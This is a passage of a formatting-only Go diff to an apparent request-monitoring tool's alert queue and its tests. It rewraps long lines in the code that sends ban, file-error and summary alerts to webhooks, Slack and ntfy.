+			a.Netblock.Compare(b.Netblock),
+			cmp.Compare(a.Event, b.Event),
+			cmp.Compare(a.File, b.File),
+			cmp.Compare(a.Source, b.Source),
+			cmp.Compare(a.Scope, b.Scope),
+			cmp.Compare(a.ASN, b.ASN),
+			cmp.Compare(a.Name, b.Name),
+		)
 	})
 
 	for _, d := range q.destinations {
@@ -607,9 +624,12 @@ func (q *Queue) endHour(now time.Time) {
 	var reasons []string
 
 	if heldBack > 0 {
-		reasons = append(reasons, fmt.Sprintf("%d alerts held back in the hour from %s, "+
-			"past the %d an hour SWW_ALERT_MAX_PER_HOUR allows", heldBack,
-			q.hour.Start.Format(time.RFC3339), q.params.MaxPerHour))
+		reasons = append(
+			reasons,
+			fmt.Sprintf("%d alerts held back in the hour from %s, "+
+				"past the %d an hour SWW_ALERT_MAX_PER_HOUR allows", heldBack,
+				q.hour.Start.Format(time.RFC3339), q.params.MaxPerHour),
+		)
 	}
 
 	if repeats > 0 {
@@ -688,12 +708,19 @@ func (d *destination) run(ctx context.Context) {
 			case ctx.Err() == nil: // not cut off as sww stops
 				d.sendFailures.Add(1)
 
-				retryDelay = min(max(retryDelayFactor*retryDelay, firstRetryDelay),
-					maxRetryDelay)
+				retryDelay = min(
+					max(retryDelayFactor*retryDelay, firstRetryDelay),
+					maxRetryDelay,
+				)
 				retryAt = time.Now().Add(retryDelay)
 
-				d.processLog.Warn("sending an alert to "+d.setting+" failed",
-					"error", err.Error(), "sending_again_in", retryDelay.String())
+				d.processLog.Warn(
+					"sending an alert to "+d.setting+" failed",
+					"error",
+					err.Error(),
+					"sending_again_in",
+					retryDelay.String(),
+				)
 			}
 		}
 	}
@@ -781,8 +808,12 @@ func (d *destination) send(ctx context.Context, alert *Alert) error {
 	ctx, cancel := context.WithTimeout(ctx, sendTimeout)
 	defer cancel()
 
-	req, err := http.NewRequestWithContext(ctx, http.MethodPost, d.url.String(),
-		bytes.NewReader(body))
+	req, err := http.NewRequestWithContext(
+		ctx,
+		http.MethodPost,
+		d.url.String(),
+		bytes.NewReader(body),
+	)
 	if err != nil {
 		return fmt.Errorf("make the request: %w", err)
 	}
@@ -836,7 +867,14 @@ func (q *Queue) webhookMessage(alert *Alert) ([]byte, http.Header, error) {
 // in JSON: its title in bold, then its text, with &, < and > escaped, as
 // Slack asks, so that nothing in them is read as a link or a mention.
 func slackMessage(alert *Alert) ([]byte, http.Header, error) {
-	escape := strings.NewReplacer("&", "&amp;", "<", "&lt;", ">", "&gt;").Replace
+	escape := strings.NewReplacer(
+		"&",
+		"&amp;",
+		"<",
+		"&lt;",
+		">",
+		"&gt;",
+	).Replace
 
 	body, err := json.Marshal(map[string]string{
 		"text": "*" + escape(title(alert)) + "*\n" + escape(text(alert)),
@@ -934,7 +972,10 @@ func text(alert *Alert) string {
 	}
 
 	if alert.SuppressedRepeats > 0 {
-		lines = append(lines, fmt.Sprintf("suppressed repeats: %d", alert.SuppressedRepeats))
+		lines = append(
+			lines,
+			fmt.Sprintf("suppressed repeats: %d", alert.SuppressedRepeats),
+		)
 	}
 
 	return strings.Join(lines, "\n")

internal/alerts/alerts_test.go

@@ -65,7 +65,10 @@ func TestAlertIsPostedAsJSONWithItsFieldsAndTheHeaders(t *testing.T) {
 			Netblock: netip.MustParsePrefix("203.0.113.0/24"),
 			Country:  "DE",
 			Reason:   "requests per minute over the limit of 1000",
-			Detail:   map[string]any{"cause": "limit", "ban_expires": anHourOn},
+			Detail: map[string]any{
+				"cause":       "limit",
+				"ban_expires": anHourOn,
+			},
 		})
 		synctest.Wait()
 
@@ -75,7 +78,12 @@ func TestAlertIsPostedAsJSONWithItsFieldsAndTheHeaders(t *testing.T) {
 		}
 
 		if got[0].method != http.MethodPost || got[0].url != webhookURL {
-			t.Errorf("request %s %s, want POST %s", got[0].method, got[0].url, webhookURL)
+			t.Errorf(
+				"request %s %s, want POST %s",
+				got[0].method,
+				got[0].url,
+				webhookURL,
+			)
 		}
 
 		for name, want := range map[string]string{
@@ -84,21 +92,29 @@ func TestAlertIsPostedAsJSONWithItsFieldsAndTheHeaders(t *testing.T) {
 			"X-Team":        "ops",
 		} {
 			if got[0].header.Get(name) != want {
-				t.Errorf("header %s is %q, want %q", name, got[0].header.Get(name), want)
+				t.Errorf(
+					"header %s is %q, want %q",
+					name,
+					got[0].header.Get(name),
+					want,
+				)
 			}
 		}
 
 		wantAlert(t, got[0].alert, map[string]any{
-			"instance":           instance,
-			"time":               started,
-			"event":              "ban",
-			"client":             "203.0.113.9",
-			"netblock":           "203.0.113.0/24",
-			"asn":                "",
-			"as_name":            "",
-			"country":            "DE",
-			"reason":             "requests per minute over the limit of 1000",
-			"detail":             map[string]any{"cause": "limit", "ban_expires": anHourOn},
+			"instance": instance,
+			"time":     started,
+			"event":    "ban",
+			"client":   "203.0.113.9",
+			"netblock": "203.0.113.0/24",
+			"asn":      "",
+			"as_name":  "",
+			"country":  "DE",
+			"reason":   "requests per minute over the limit of 1000",
+			"detail": map[string]any{
+				"cause":       "limit",
+				"ban_expires": anHourOn,
+			},
 			"suppressed_repeats": float64(0),
 		})
 		wantCounts(t, q, 1, 0, 0, 0)
@@ -110,12 +126,25 @@ func TestOnlyTheChosenEventsAreSent(t *testing.T) {
 
 	synctest.Test(t, func(t *testing.T) {
 		params := newParams()
-		params.Events = []string{alerts.EventSourceFailure, alerts.EventFileError}
+		params.Events = []string{
+			alerts.EventSourceFailure,
+			alerts.EventFileError,
+		}
 		webhook, q := start(t, params)
 
 		q.Raise(alerts.Alert{Event: alerts.EventBan, Netblock: netblock(1)})
-		q.Raise(alerts.Alert{Event: alerts.EventFileError, Reason: "a file error"})
-		q.Raise(alerts.Alert{Event: alerts.EventPermanentBan, Netblock: netblock(1)})
+		q.Raise(
+			alerts.Alert{
+				Event:  alerts.EventFileError,
+				Reason: "a file error",
+			},
+		)
+		q.Raise(
+			alerts.Alert{
+				Event:    alerts.EventPermanentBan,
+				Netblock: netblock(1),
+			},
+		)
 		synctest.Wait()
 
 		wantEvents(t, webhook, alerts.EventFileError)
@@ -127,12 +156,17 @@ func TestWouldSendOnlyForTheChosenEvents(t *testing.T) {
 	t.Parallel()
 
 	params := newParams()
-	params.Events = []string{alerts.EventSourceFailure, alerts.EventFileError}
+	params.Events = []string{
+		alerts.EventSourceFailure,
+		alerts.EventFileError,
+	}
 	q := alerts.New(params)
 
 	if q.WouldSend(alerts.EventBan, netblock(1)) ||
 		q.WouldSend(alerts.EventPermanentBan, netblock(1)) {
-		t.Error("a ban alert would be sent, though SWW_ALERT_EVENTS leaves it out")
+		t.Error(
+			"a ban alert would be sent, though SWW_ALERT_EVENTS leaves it out",
+		)
 	}
 
 	if !q.WouldSend(alerts.EventFileError, netip.Prefix{}) {
@@ -188,7 +222,10 @@ func TestWouldSendWithOnlySlackOrOnlyNtfySet(t *testing.T) {
 		"SWW_ALERT_NTFY_URL":          onlyNtfy,
 	} {
 		if !alerts.New(params).WouldSend(alerts.EventBan, netblock(1)) {
-			t.Errorf("a ban alert would not be sent with only %s set", setting)
+			t.Errorf(
+				"a ban alert would not be sent with only %s set",
+				setting,
+			)
 		}
 	}
 }
@@ -225,8 +262,14 @@ func TestRepeatWithinTheCooldownIsHeldBackAndCountedInTheNext(t *testing.T) {
 		synctest.Wait()
 
 		got := webhook.received()
-		wantEvents(t, webhook, alerts.EventBan, alerts.EventBan, alerts.EventPermanentBan,
-			alerts.EventBan)
+		wantEvents(
+			t,
+			webhook,
+			alerts.EventBan,
+			alerts.EventBan,
+			alerts.EventPermanentBan,
+			alerts.EventBan,
+		)
 
 		for i, want := range []struct {
 			netblock int
@@ -235,9 +278,14 @@ func TestRepeatWithinTheCooldownIsHeldBackAndCountedInTheNext(t *testing.T) {
 			alert := got[i].alert
 			if alert["netblock"] != netblock(want.netblock).String() ||
 				alert["suppressed_repeats"] != want.repeats {
-				t.Errorf("alert %d is for %v with %v repeats, want %s with %v", i,
-					alert["netblock"], alert["suppressed_repeats"], netblock(want.netblock),
-					want.repeats)
+				t.Errorf(
+					"alert %d is for %v with %v repeats, want %s with %v",
+					i,
+					alert["netblock"],
+					alert["suppressed_repeats"],
+					netblock(want.netblock),
+					want.repeats,
+				)
 			}
 		}
 
@@ -245,7 +293,9 @@ func TestRepeatWithinTheCooldownIsHeldBackAndCountedInTheNext(t *testing.T) {
 	})
 }
 
-func TestFileErrorAndSourceFailureRepeatOnlyForTheSameFileOrSource(t *testing.T) {
+func TestFileErrorAndSourceFailureRepeatOnlyForTheSameFileOrSource(
+	t *testing.T,
+) {
 	t.Parallel()
 
 	synctest.Test(t, func(t *testing.T) {
@@ -253,8 +303,11 @@ func TestFileErrorAndSourceFailureRepeatOnlyForTheSameFileOrSource(t *testing.T)
 		webhook, q := start(t, params)
 		fileError := func(file string) alerts.Alert {
 			return alerts.Alert{
-				Event:  alerts.EventFileError,
-				Detail: map[string]any{"file": file, "error": "line 2: an error"},
+				Event: alerts.EventFileError,
+				Detail: map[string]any{
+					"file":  file,
+					"error": "line 2: an error",
+				},
 			}
 		}
 		sourceFailure := func(source string) alerts.Alert {
@@ -285,7 +338,11 @@ func TestFileErrorAndSourceFailureRepeatOnlyForTheSameFileOrSource(t *testing.T)
 			"/rules.d/50-a.rules", "/rules.d/50-b.rules", "geojs", "abuseipdb",
 		}
 		if !slices.Equal(got, want) {
-			t.Errorf("the webhook was sent alerts for %v, want %v", got, want)
+			t.Errorf(
+				"the webhook was sent alerts for %v, want %v",
+				got,
+				want,
+			)
 		}
 
 		wantCounts(t, q, 4, 0, 2, 0)
@@ -298,8 +355,12 @@ func TestFileErrorAndSourceFailureRepeatOnlyForTheSameFileOrSource(t *testing.T)
 		after.Raise(fileError("/rules.d/50-c.rules"))
 
 		waiting := after.Snapshot().Waiting[alerts.DestinationWebhook]
-		if len(waiting) != 1 || waiting[0].Detail["file"] != "/rules.d/50-c.rules" {
-			t.Errorf("after loading, alerts wait %+v, want the one for 50-c.rules", waiting)
+		if len(waiting) != 1 ||
+			waiting[0].Detail["file"] != "/rules.d/50-c.rules" {
+			t.Errorf(
+				"after loading, alerts wait %+v, want the one for 50-c.rules",
+				waiting,
+			)
 		}
 	})
 }
@@ -336,7 +397,12 @@ func TestAlertsPastTheHourlyLimitAreRolledIntoOneSummary(t *testing.T) {
 		q.Raise(alerts.Alert{Event: alerts.EventBan, Netblock: netblock(1)})
 		q.Raise(alerts.Alert{Event: alerts.EventBan, Netblock: netblock(2)})
 		q.Raise(alerts.Alert{Event: alerts.EventBan, Netblock: netblock(3)})
-		q.Raise(alerts.Alert{Event: alerts.EventPermanentBan, Netblock: netblock(4)})
+		q.Raise(
+			alerts.Alert{
+				Event:    alerts.EventPermanentBan,
+				Netblock: netblock(4),
+			},
+		)
 		q.Raise(alerts.Alert{Event: alerts.EventFileError})
 
 		// The summary is sent as the hour ends, and not before.
@@ -346,7 +412,13 @@ func TestAlertsPastTheHourlyLimitAreRolledIntoOneSummary(t *testing.T) {
 
 		time.Sleep(time.Nanosecond)
 		synctest.Wait()
-		wantEvents(t, webhook, alerts.EventBan, alerts.EventBan, alerts.EventSummary)
+		wantEvents(
+			t,
+			webhook,
+			alerts.EventBan,
+			alerts.EventBan,
+			alerts.EventSummary,
+		)
 
 		summary := webhook.received()[2].alert
 		wantAlert(t, summary, map[string]any{
@@ -364,7 +436,9 @@ func TestAlertsPastTheHourlyLimitAreRolledIntoOneSummary(t *testing.T) {
 				"hour":  started,
 				"count": float64(3),
 				"events": map[string]any{
-					"ban": float64(1), "permanent_ban": float64(1), "file_error": float64(1),
+					"ban": float64(
+						1,
+					), "permanent_ban": float64(1), "file_error": float64(1),
 				},
 			},
 			"suppressed_repeats": float64(0),
@@ -375,13 +449,21 @@ func TestAlertsPastTheHourlyLimitAreRolledIntoOneSummary(t *testing.T) {
 		q.Raise(alerts.Alert{Event: alerts.EventBan, Netblock: netblock(5)})
 		time.Sleep(time.Hour)
 		synctest.Wait()
-		wantEvents(t, webhook, alerts.EventBan, alerts.EventBan, alerts.EventSummary,
-			alerts.EventBan)
+		wantEvents(
+			t,
+			webhook,
+			alerts.EventBan,
+			alerts.EventBan,
+			alerts.EventSummary,
+			alerts.EventBan,
+		)
 		wantCounts(t, q, 4, 0, 3, 0)
 	})
 }
 
-func TestRepeatsBeforeAnAlertPastTheHourlyLimitAreGivenByTheSummary(t *testing.T) {
+func TestRepeatsBeforeAnAlertPastTheHourlyLimitAreGivenByTheSummary(
+	t *testing.T,
+) {
 	t.Parallel()
 
 	synctest.Test(t, func(t *testing.T) {
@@ -389,7 +471,9 @@ func TestRepeatsBeforeAnAlertPastTheHourlyLimitAreGivenByTheSummary(t *testing.T
 		params.MaxPerHour = 1
 		webhook, q := start(t, params)
 		raise := func() {
-			q.Raise(alerts.Alert{Event: alerts.EventBan, Netblock: netblock(1)})
+			q.Raise(
+				alerts.Alert{Event: alerts.EventBan, Netblock: netblock(1)},
+			)
 		}
 
 		// The hour's one alert, and two repeats the cooldown holds back.
@@ -408,7 +492,13 @@ func TestRepeatsBeforeAnAlertPastTheHourlyLimitAreGivenByTheSummary(t *testing.T
 		raise()
 		synctest.Wait()
 
-		wantEvents(t, webhook, alerts.EventBan, alerts.EventSummary, alerts.EventBan)
+		wantEvents(
+			t,
+			webhook,
+			alerts.EventBan,
+			alerts.EventSummary,
+			alerts.EventBan,
+		)
 
 		got := webhook.received()
 		if len(got) == 3 {
@@ -416,11 +506,16 @@ func TestRepeatsBeforeAnAlertPastTheHourlyLimitAreGivenByTheSummary(t *testing.T
 			summaryRepeats := got[1].alert["suppressed_repeats"]
 			lastRepeats := got[2].alert["suppressed_repeats"]
 
-			if detail["count"] != float64(1) || summaryRepeats != float64(2) ||
+			if detail["count"] != float64(1) ||
+				summaryRepeats != float64(2) ||
 				lastRepeats != float64(0) {
-				t.Errorf("the summary counts %v alerts and %v repeats, and the last "+
-					"alert gives %v repeats, want 1, 2 and 0", detail["count"],
-					summaryRepeats, lastRepeats)
+				t.Errorf(
+					"the summary counts %v alerts and %v repeats, and the last "+
+						"alert gives %v repeats, want 1, 2 and 0",
+					detail["count"],
+					summaryRepeats,
+					lastRepeats,
+				)
 			}
 		}
 
@@ -428,7 +523,9 @@ func TestRepeatsBeforeAnAlertPastTheHourlyLimitAreGivenByTheSummary(t *testing.T
 	})
 }
 
-func TestCooldownsThatHaveRunOutAreDroppedAndTheirRepeatsSummedUp(t *testing.T) {
+func TestCooldownsThatHaveRunOutAreDroppedAndTheirRepeatsSummedUp(
+	t *testing.T,
+) {
 	t.Parallel()
 
 	for name, maxPerHour := range map[string]int{"limit off": 0, "limit set": 60} {
@@ -465,8 +562,12 @@ func TestCooldownsThatHaveRunOutAreDroppedAndTheirRepeatsSummedUp(t *testing.T)
 
 					kept := len(q.Snapshot().Cooldowns)
 					if kept > int(cooldown/time.Minute) {
-						t.Errorf("after %d netblocks, %d cooldowns are kept, want at most %d",
-							netblocks, kept, int(cooldown/time.Minute))
+						t.Errorf(
+							"after %d netblocks, %d cooldowns are kept, want at most %d",
+							netblocks,
+							kept,
+							int(cooldown/time.Minute),
+						)
 					}
 				}
 
@@ -484,8 +585,13 @@ func TestCooldownsThatHaveRunOutAreDroppedAndTheirRepeatsSummedUp(t *testing.T)
 
 				kept := len(q.Snapshot().Cooldowns)
 				if kept != 0 || repeats != float64(netblocks) {
-					t.Errorf("%d cooldowns are kept and the webhook was given %v repeats, "+
-						"want 0 and %d", kept, repeats, netblocks)
+					t.Errorf(
+						"%d cooldowns are kept and the webhook was given %v repeats, "+
+							"want 0 and %d",
+						kept,
+						repeats,
+						netblocks,
+					)
 				}
 			})
 		})
@@ -620,8 +726,14 @@ func TestFailedRequestIsLoggedWithoutTheURL(t *testing.T) {
 		logged := log.String()
 		if !strings.Contains(logged,
 			`"msg":"sending an alert to SWW_ALERT_WEBHOOK_URL failed"`) ||
-			strings.Contains(logged, "alerts.example") || strings.Contains(logged, "team=ops") {
-			t.Errorf("process log %q names no failure, or names the URL", logged)
+			strings.Contains(
+				logged,
+				"alerts.example",
+			) || strings.Contains(logged, "team=ops") {
+			t.Errorf(
+				"process log %q names no failure, or names the URL",
+				logged,
+			)
 		}
 	})
 }
@@ -639,7 +751,9 @@ func TestFullQueueDropsTheOldestAndRaiseNeverWaits(t *testing.T) {
 		// than the queue holds is raised: none waits, and the oldest, the
 		// one the webhook was sent, is dropped.
 		for n := range alerts.QueueSize + 1 {
-			q.Raise(alerts.Alert{Event: alerts.EventBan, Netblock: netblock(n)})
+			q.Raise(
+				alerts.Alert{Event: alerts.EventBan, Netblock: netblock(n)},
+			)
 
 			if n == 0 {
 				synctest.Wait()
@@ -653,9 +767,17 @@ func TestFullQueueDropsTheOldestAndRaiseNeverWaits(t *testing.T) {
 		wantCounts(t, q, 0, 0, 0, 1)
 
 		waiting := q.Snapshot().Waiting[alerts.DestinationWebhook]
-		if len(waiting) != alerts.QueueSize || waiting[0].Netblock != netblock(1) {
-			t.Fatalf("%d alerts wait, the first for %s, want %d, the first for %s",
-				len(waiting), waiting[0].Netblock, alerts.QueueSize, netblock(1))
+		if len(waiting) != alerts.QueueSize ||
+			waiting[0].Netblock != netblock(1) {
+			t.Fatalf(
+				"%d alerts wait, the first for %s, want %d, the first for %s",
+				len(
+					waiting,
+				),
+				waiting[0].Netblock,
+				alerts.QueueSize,
+				netblock(1),
+			)
 		}
 
 		// The request is abandoned after 10 seconds, and the webhook, which
@@ -667,14 +789,22 @@ func TestFullQueueDropsTheOldestAndRaiseNeverWaits(t *testing.T) {
 		got := webhook.received()
 		if len(got) != alerts.QueueSize+1 ||
 			got[0].alert["netblock"] != netblock(0).String() {
-			t.Fatalf("the webhook had %d requests, want %d, the first for %s",
-				len(got), alerts.QueueSize+1, netblock(0))
+			t.Fatalf(
+				"the webhook had %d requests, want %d, the first for %s",
+				len(got),
+				alerts.QueueSize+1,
+				netblock(0),
+			)
 		}
 
 		for i, request := range got[1:] {
 			if request.alert["netblock"] != netblock(i+1).String() {
-				t.Fatalf("request %d is for %v, want %s", i+1, request.alert["netblock"],
-					netblock(i+1))
+				t.Fatalf(
+					"request %d is for %v, want %s",
+					i+1,
+					request.alert["netblock"],
+					netblock(i+1),
+				)
 			}
 		}
 
@@ -692,8 +822,12 @@ func TestStateLoadedIntoANewQueueCarriesOn(t *testing.T) {
 
 		// Not sent: Run is not running. The repeat is held back by the
 		// cooldown, and the file error past the hourly limit.
-		before.Raise(alerts.Alert{Event: alerts.EventBan, Netblock: netblock(1)})
-		before.Raise(alerts.Alert{Event: alerts.EventBan, Netblock: netblock(1)})
+		before.Raise(
+			alerts.Alert{Event: alerts.EventBan, Netblock: netblock(1)},
+		)
+		before.Raise(
+			alerts.Alert{Event: alerts.EventBan, Netblock: netblock(1)},
+		)
 		before.Raise(alerts.Alert{Event: alerts.EventFileError})
 
 		time.Sleep(time.Minute)
@@ -704,7 +838,9 @@ func TestStateLoadedIntoANewQueueCarriesOn(t *testing.T) {
 		// The new queue sends the alert waiting, holds back the repeat as
 		// the cooldown still runs, and sends the summary of the hour, which
 		// gives both repeats, as the cooldown has run out.
-		after.Raise(alerts.Alert{Event: alerts.EventBan, Netblock: netblock(1)})
+		after.Raise(
+			alerts.Alert{Event: alerts.EventBan, Netblock: netblock(1)},
+		)
 		synctest.Wait()
 		wantEvents(t, webhook, alerts.EventBan)
 
@@ -715,9 +851,13 @@ func TestStateLoadedIntoANewQueueCarriesOn(t *testing.T) {
 		summary := webhook.received()[1].alert
 		detail, _ := summary["detail"].(map[string]any)
 
-		if detail["count"] != float64(1) || summary["suppressed_repeats"] != float64(2) {
-			t.Errorf("the summary counts %v alerts and %v repeats, want 1 and 2",
-				detail["count"], summary["suppressed_repeats"])
+		if detail["count"] != float64(1) ||
+			summary["suppressed_repeats"] != float64(2) {
+			t.Errorf(
+				"the summary counts %v alerts and %v repeats, want 1 and 2",
+				detail["count"],
+				summary["suppressed_repeats"],
+			)
 		}
 	})
 }
@@ -747,7 +887,13 @@ func TestSlackAndNtfyAreSentAMessageForEachEvent(t *testing.T) {
 
 		for i, each := range want {
 			wantSlackMessage(t, slack[i], "*"+each.title+"*\n"+each.text)
-			wantNtfyMessage(t, ntfy[i], each.title, each.priorityAndTag, each.text)
+			wantNtfyMessage(
+				t,
+				ntfy[i],
+				each.title,
+				each.priorityAndTag,
+				each.text,
+			)
 		}
 	})
 }
@@ -760,14 +906,23 @@ func TestSlackAndNtfyAreSentTheSummaryAndTheRepeatsHeldBack(t *testing.T) {
 		params.WebhookURL = nil
 		params.MaxPerHour = 1
 		standIns, q := startAll(t, params)
-		ban := alerts.Alert{Event: alerts.EventBan, Netblock: netblock(1), Reason: "a ban"}
+		ban := alerts.Alert{
+			Event:    alerts.EventBan,
+			Netblock: netblock(1),
+			Reason:   "a ban",
+		}
 
 		// The hour's one alert, a repeat of it the cooldown holds back, and
 		// an alert past the limit; once the hour has ended, its summary,
 		// which gives the repeat, and the next alert, which gives none.
 		q.Raise(ban)
 		q.Raise(ban)
-		q.Raise(alerts.Alert{Event: alerts.EventFileError, Reason: "a file error"})
+		q.Raise(
+			alerts.Alert{
+				Event:  alerts.EventFileError,
+				Reason: "a file error",
+			},
+		)
 		time.Sleep(time.Hour)
 		synctest.Wait()
 		q.Raise(ban)
@@ -786,8 +941,18 @@ func TestSlackAndNtfyAreSentTheSummaryAndTheRepeatsHeldBack(t *testing.T) {
 			"by SWW_ALERT_COOLDOWN that no later alert gives\nsuppressed repeats: 1"
 
 		wantSlackMessage(t, slack[1], "*"+instance+": summary*\n"+summary)
-		wantNtfyMessage(t, ntfy[1], instance+": summary", "default bar_chart", summary)
-		wantSlackMessage(t, slack[2], "*"+instance+": ban*\na ban\nnetblock: 203.0.113.1/32")
+		wantNtfyMessage(
+			t,
+			ntfy[1],
+			instance+": summary",
+			"default bar_chart",
+			summary,
+		)
+		wantSlackMessage(
+			t,
+			slack[2],
+			"*"+instance+": ban*\na ban\nnetblock: 203.0.113.1/32",
+		)
 		wantNtfyMessage(t, ntfy[2], instance+": ban", "default no_entry",
 			"a ban\nnetblock: 203.0.113.1/32")
 	})
@@ -813,7 +978,11 @@ func TestSlackMessageEscapesAmpersandsAndAngleBrackets(t *testing.T) {
 
 		wantSlackMessage(t, got[0], "*app<1>: file_error*\n"+
 			"<!channel> & <https://x.example|y>")
-		wantBodies(t, standIns[alerts.DestinationNtfy], "<!channel> & <https://x.example|y>")
+		wantBodies(
+			t,
+			standIns[alerts.DestinationNtfy],
+			"<!channel> & <https://x.example|y>",
+		)
 	})
 }
 
@@ -835,7 +1004,12 @@ func TestNtfyTokenIsSentToNtfyAlone(t *testing.T) {
 				params.NtfyToken = tc.token
 				standIns, q := startAll(t, params)
 
-				q.Raise(alerts.Alert{Event: alerts.EventBan, Netblock: netblock(1)})
+				q.Raise(
+					alerts.Alert{
+						Event:    alerts.EventBan,
+						Netblock: netblock(1),
+					},
+				)
 				synctest.Wait()
 
 				for destination, want := range map[string][]string{
@@ -845,13 +1019,21 @@ func TestNtfyTokenIsSentToNtfyAlone(t *testing.T) {
 				} {
 					got := standIns[destination].received()
 					if len(got) != 1 {
-						t.Fatalf("%s was sent %d requests, want 1", destination, len(got))
+						t.Fatalf(
+							"%s was sent %d requests, want 1",
+							destination,
+							len(got),
+						)
 					}
 
 					authorization := got[0].header.Values("Authorization")
 					if !slices.Equal(authorization, want) {
-						t.Errorf("%s was sent Authorization %q, want %q", destination,
-							authorization, want)
+						t.Errorf(
+							"%s was sent Authorization %q, want %q",
+							destination,
+							authorization,
+							want,
+						)
 					}
 				}
 			})
@@ -870,7 +1052,9 @@ func TestDestinationThatDoesNotAnswerHoldsUpNeitherOther(t *testing.T) {
 		standIns[alerts.DestinationSlack].set(hanging)
 
 		for n := range 3 {
-			q.Raise(alerts.Alert{Event: alerts.EventBan, Netblock: netblock(n)})
+			q.Raise(
+				alerts.Alert{Event: alerts.EventBan, Netblock: netblock(n)},
+			)
 		}
 
 		synctest.Wait()
@@ -885,7 +1069,9 @@ func TestDestinationThatDoesNotAnswerHoldsUpNeitherOther(t *testing.T) {
 			wantDestinationCounts(t, q, destination, want)
 		}
 
-		if got := standIns[alerts.DestinationSlack].received(); len(got) != 1 {
+		if got := standIns[alerts.DestinationSlack].received(); len(
+			got,
+		) != 1 {
 			t.Errorf("Slack was sent %d requests, want 1", len(got))
 		}
 
@@ -900,11 +1086,16 @@ func TestDestinationThatDoesNotAnswerHoldsUpNeitherOther(t *testing.T) {
 			alerts.Counts{Sent: 3, SendFailures: 1})
 
 		logged := log.String()
-		if !strings.Contains(logged,
-			`"msg":"sending an alert to SWW_ALERT_SLACK_WEBHOOK_URL failed"`) ||
+		if !strings.Contains(
+			logged,
+			`"msg":"sending an alert to SWW_ALERT_SLACK_WEBHOOK_URL failed"`,
+		) ||
 			strings.Contains(logged, "hooks.slack.example") ||
 			strings.Contains(logged, "T0123") {
-			t.Errorf("process log %q names no failure, or names the URL", logged)
+			t.Errorf(
+				"process log %q names no failure, or names the URL",
+				logged,
+			)
 		}
 	})
 }
@@ -922,7 +1113,9 @@ func TestDropsAreCountedForEachDestination(t *testing.T) {
 		// Each alert is raised once each destination has done all it can
 		// with those before it.
 		for n := range alerts.QueueSize + 1 {
-			q.Raise(alerts.Alert{Event: alerts.EventBan, Netblock: netblock(n)})
+			q.Raise(
+				alerts.Alert{Event: alerts.EventBan, Netblock: netblock(n)},
+			)
 			synctest.Wait()
 		}
 
@@ -1136,7 +1329,10 @@ func start(t *testing.T, params alerts.Params) (*standIn, *alerts.Queue) {
 // startAll returns, by destination, a stand-in that answers for each
 // destination params sets, and a Queue that sends to them, run until the
 // test ends.
-func startAll(t *testing.T, params alerts.Params) (map[string]*standIn, *alerts.Queue) {
+func startAll(
+	t *testing.T,
+	params alerts.Params,
+) (map[string]*standIn, *alerts.Queue) {
 	t.Helper()
 
 	q := alerts.New(params)
@@ -1170,7 +1366,9 @@ func midnight() time.Time {
 
 // netblock returns the n-th netblock of a test, counted from 0.
 func netblock(n int) netip.Prefix {
-	return netip.MustParsePrefix(fmt.Sprintf("203.0.%d.%d/32", 113+n/256, n%256))
+	return netip.MustParsePrefix(
+		fmt.Sprintf("203.0.%d.%d/32", 113+n/256, n%256),
+	)
 }
 
 // roundTrip returns state once written as JSON and read back, as
@@ -1223,12 +1421,22 @@ func wantEvents(t *testing.T, webhook *standIn, want ...string) {
 // requests to it that it counts as failed, the alerts it counts as held
 // back, and those it counts as dropped for the webhook.
 func wantCounts(
-	t *testing.T, q *alerts.Queue, sent, sendFailures, suppressed, dropped int64,
+	t *testing.T,
+	q *alerts.Queue,
+	sent, sendFailures, suppressed, dropped int64,
 ) {
 	t.Helper()
 
-	wantDestinationCounts(t, q, alerts.DestinationWebhook,
-		alerts.Counts{Sent: sent, SendFailures: sendFailures, Dropped: dropped})
+	wantDestinationCounts(
+		t,
+		q,
+		alerts.DestinationWebhook,
+		alerts.Counts{
+			Sent:         sent,
+			SendFailures: sendFailures,
+			Dropped:      dropped,
+		},
+	)
 
 	if q.Suppressed() != suppressed {
 		t.Errorf("%d alerts held back, want %d", q.Suppressed(), suppressed)
@@ -1261,7 +1469,9 @@ func anAlertForEachEvent() []eventMessage {
 		{
 			alerts.Alert{
 				Event: alerts.EventBan, Client: netip.MustParseAddr("203.0.113.9"),
-				Netblock: netip.MustParsePrefix("203.0.113.0/24"), Country: "DE",
+				Netblock: netip.MustParsePrefix(
+					"203.0.113.0/24",
+				), Country: "DE",
 				Reason: "requests per hour over the limit of 10000",
 				Detail: map[string]any{"mode": "observe"},
 			},
@@ -1272,7 +1482,9 @@ func anAlertForEachEvent() []eventMessage {
 		{
 			alerts.Alert{
 				Event: alerts.EventPermanentBan, Client: netip.MustParseAddr("198.51.100.7"),
-				Netblock: netip.MustParsePrefix("198.51.100.7/32"), Country: "FR",
+				Netblock: netip.MustParsePrefix(
+					"198.51.100.7/32",
+				), Country: "FR",
 				Reason: "matched the rule env-file",
 			},
 			"fsn1app1/blog: permanent_ban", "high no_entry",
@@ -1347,18 +1559,30 @@ func wantSlackMessage(t *testing.T, request post, text string) {
 // wantNtfyMessage checks that request, one ntfy was sent, posted the
 // message text with the title, and with the priority and the tag
 // priorityAndTag gives, with a space between them.
-func wantNtfyMessage(t *testing.T, request post, title, priorityAndTag, text string) {
+func wantNtfyMessage(
+	t *testing.T,
+	request post,
+	title, priorityAndTag, text string,
+) {
 	t.Helper()
 
 	got := []string{
 		request.method, request.url, request.header.Get("Title"),
-		request.header.Get("Priority") + " " + request.header.Get("Tags"), request.body,
+		request.header.Get(
+			"Priority",
+		) + " " + request.header.Get(
+			"Tags",
+		), request.body,
 	}
 
 	want := []string{http.MethodPost, ntfyURL, title, priorityAndTag, text}
 	if !slices.Equal(got, want) {
-		t.Errorf("ntfy was sent the method, URL, title, priority and tag, and text "+
-			"%q, want %q", got, want)
+		t.Errorf(
+			"ntfy was sent the method, URL, title, priority and tag, and text "+
+				"%q, want %q",
+			got,
+			want,
+		)
 	}
 }
 

internal/anomaly/anomaly.go

@@ -43,7 +43,13 @@ const (
 
 // Scopes returns every scope.
 func Scopes() []string {
-	return []string{ScopeClient, ScopeNet, ScopeASN, ScopeTotal, ScopeWatchedNet}
+	return []string{
+		ScopeClient,
+		ScopeNet,
+		ScopeASN,
+		ScopeTotal,
+		ScopeWatchedNet,
+	}
 }
 
 // The windows a counter counts in, as the alerts name them.
@@ -191,8 +197,12 @@ func (c *Counters) Snapshot() []Counter {
 	c.mu.Unlock()
 
 	slices.SortFunc(counters, func(a, b Counter) int {
-		return cmp.Or(cmp.Compare(a.Scope, b.Scope), a.Netblock.Compare(b.Netblock),
